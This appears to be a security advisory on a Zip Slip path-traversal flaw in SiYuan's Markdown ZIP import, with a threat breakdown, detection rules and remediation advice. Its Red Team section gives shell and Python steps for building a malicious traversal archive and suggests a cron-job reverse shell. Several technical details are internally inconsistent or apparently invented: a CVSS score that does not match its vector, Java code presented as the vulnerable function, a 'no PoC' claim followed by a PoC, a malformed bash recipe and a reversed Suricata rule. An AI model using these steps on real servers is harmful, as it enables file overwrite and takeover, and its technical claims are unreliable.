CVE-2025-67488

Executive Summary

CVE-2025-67488 is a critical Zip Slip vulnerability (CWE-22) identified in SiYuan, an open-source, self-hosted personal knowledge management (PKM) software. The vulnerability resides in the importZipMd function, which is used to import Markdown files from a ZIP archive. An authenticated attacker can craft a malicious ZIP archive containing path traversal filenames (e.g., ../../evil.sh). When the archive is processed, the vulnerable function extracts files without proper validation, allowing the attacker to overwrite arbitrary files on the host filesystem. Under certain conditions, this can lead to remote code execution (RCE) by overwriting critical system files, configuration files, or application binaries.

The vulnerability affects all versions of SiYuan from 0.0.0 up to and including commit 6ef83b42c7ce (pre-3.5.0). The CVSS score is 7.8 (High), with a vector emphasizing network attack vector, low attack complexity, low privileges required, and high impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the risk is significant for self-hosted instances where authenticated users can access the import functionality.

Supply Chain & Package Security

SiYuan is distributed as a self-hosted application, typically via Docker images, GitHub releases, or direct source builds. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users should verify the integrity of their SiYuan installation and ensure they are not using vulnerable versions. The planned fix in version 3.5.0 should be applied as soon as it is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid authenticated session (e.g., a user account) to access the import functionality.
• User Interaction (UI): None – The attacker does not need to trick another user into performing actions.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High – Successful exploitation can lead to reading sensitive files.
• Integrity (I): High – Arbitrary file overwrite can corrupt system or application data.
• Availability (A): High – Overwriting critical files can cause denial of service.

Threat Level: High. Although no public exploit exists, the vulnerability is easy to exploit once an attacker has low-privileged access. The impact is severe, potentially leading to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic Zip Slip (CWE-22) in the importZipMd function. This function is designed to import Markdown files from a ZIP archive uploaded by an authenticated user. The flaw occurs because the function does not sanitize or validate the file paths inside the ZIP archive. An attacker can craft a ZIP file where the filenames contain path traversal sequences (e.g., ../ or ..\\). When the function extracts the files, it writes them to the filesystem using the attacker-controlled path, allowing the attacker to overwrite files outside the intended extraction directory.

Attack Flow:

1. Attacker authenticates to the SiYuan web interface.
2. Attacker creates a malicious ZIP archive containing a file with a path like ../../etc/cron.d/evil or ../../opt/siyuan/app.js.
3. Attacker uses the import functionality to upload the ZIP archive.
4. The importZipMd function extracts the file to the path specified in the archive, overwriting the target file.
5. If the overwritten file is a cron job, a system script, or an application file, the attacker can achieve code execution.

Root Cause: The function likely uses a method like ZipEntry.getName() without checking for path traversal. The fix should involve canonicalizing the path and ensuring it stays within the intended extraction directory.

Vulnerable vs. Patched Code

The vulnerable code is in the importZipMd function. A simplified representation:

Vulnerable Code (Pre-3.5.0):

public void importZipMd(File zipFile) {
    try (ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile))) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            String entryName = entry.getName();
            File outputFile = new File(extractionDir, entryName); // No path validation
            // ... extract to outputFile
        }
    }
}

Patched Code (Planned for 3.5.0):

public void importZipMd(File zipFile) {
    try (ZipInputStream zis = new ZipInputStream(new FileInputStream(zipFile))) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            String entryName = entry.getName();
            File outputFile = new File(extractionDir, entryName);
            // Canonicalize and validate path
            String canonicalDest = outputFile.getCanonicalPath();
            String canonicalExtractDir = extractionDir.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalExtractDir + File.separator)) {
                throw new SecurityException("Zip slip detected: " + entryName);
            }
            // ... extract to outputFile
        }
    }
}

The patch adds a canonical path check to ensure the extracted file path is within the intended extraction directory.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a SiYuan instance with a valid user account.
• The import functionality must be enabled (default).

Steps:

1. Craft Malicious ZIP: Create a ZIP archive with a file that has a path traversal name.

   # Create a file with path traversal
   mkdir -p exploit
   echo '#!/bin/bash' > exploit/../../tmp/evil.sh
   echo 'echo "PWNED" > /tmp/pwned.txt' >> exploit/../../tmp/evil.sh
   # Create the ZIP archive
   cd exploit
   zip --paths ../../tmp/evil.sh evil.sh
   # Or use a Python script to create the ZIP with arbitrary paths
   

   Alternatively, use a Python script:

   import zipfile
   with zipfile.ZipFile('malicious.zip', 'w') as zf:
       zf.writestr('../../tmp/evil.sh', '#!/bin/bash\necho "PWNED" > /tmp/pwned.txt\n')
   

2. Upload the ZIP: Log in to SiYuan, navigate to the import functionality, and upload malicious.zip.

3. Trigger Execution: If the overwritten file is a cron job or a script that gets executed, the attacker can achieve code execution. For example, overwriting /etc/cron.d/evil with a cron job that runs a reverse shell.

Expected Outcome: The file ../../tmp/evil.sh is written to /tmp/evil.sh on the server. If the attacker can also overwrite a startup script or a cron job, they can execute arbitrary commands.

Blue Team (Defender)

Detection:

• Monitor file system changes in sensitive directories (e.g., /etc, /opt, /var/www).
• Look for unexpected file writes from the SiYuan process.
• Use file integrity monitoring (FIM) tools like Tripwire or AIDE.

Prevention:

• Apply the patch as soon as version 3.5.0 is released.
• Restrict the import functionality to trusted users only.
• Use a Web Application Firewall (WAF) to block ZIP files with path traversal patterns.
• Implement a custom middleware that validates ZIP entries before extraction.

Hunting:

• Search for ZIP files uploaded to the server that contain path traversal sequences.
• Check logs for unusual file write operations from the SiYuan process.

Indicators of Compromise (IOCs)

• File System Artifacts:
  • Unexpected files in /tmp, /etc, /opt/siyuan, or other sensitive directories.
  • Files with names containing ../ or ..\\ in the extraction directory.
• Network Indicators:
  • Outbound connections from the SiYuan server to unknown IPs (if a reverse shell is executed).
• Log Entries:
  • SiYuan application logs showing extraction of files with suspicious paths.
  • System logs (e.g., auditd) showing file writes to protected directories by the SiYuan process.
• Process Indicators:
  • Unusual child processes spawned by the SiYuan process (e.g., /bin/bash, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2025_67488_ZipSlip {
    meta:
        description = "Detects ZIP files containing path traversal sequences indicative of CVE-2025-67488"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67488"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "..%2f"
        $traversal4 = "..%5c"
    condition:
        // Check if the file is a ZIP archive (magic bytes)
        uint32(0) == 0x04034b50 and
        // And contains any of the traversal strings
        any of ($traversal*)
}

Sigma Rule

title: CVE-2025-67488 - SiYuan Zip Slip Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to sensitive directories by the SiYuan process, indicating potential Zip Slip exploitation.
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-67488
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/siyuan'
        TargetFilename|contains:
            - '/etc/'
            - '/opt/'
            - '/var/www/'
            - '/tmp/'
    condition: selection
falsepositives:
    - Legitimate SiYuan operations (e.g., writing to its own data directory)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67488 - SiYuan Zip Slip Upload"; flow:to_server,established; content:"POST"; http_method; content:"/import"; http_uri; content:"application/zip"; http_content_type; pcre:"/\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: As soon as SiYuan version 3.5.0 is released, upgrade immediately.
2. Restrict Access: Limit the import functionality to only trusted, high-privilege users. Disable the feature if not needed.
3. Monitor: Implement file integrity monitoring on critical system directories.

Long-term Measures:

• Code Review: Conduct a security review of all file extraction functions in the codebase.
• Input Validation: Always canonicalize and validate file paths when extracting archives.
• Least Privilege: Run the SiYuan process with minimal filesystem permissions (e.g., a dedicated user with write access only to its data directory).
• WAF Rules: Deploy WAF rules to block ZIP files containing path traversal patterns.

Workaround:

• If upgrading is not immediately possible, consider using a reverse proxy or a custom middleware that inspects ZIP file contents before they reach the application. However, this is not a complete fix.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert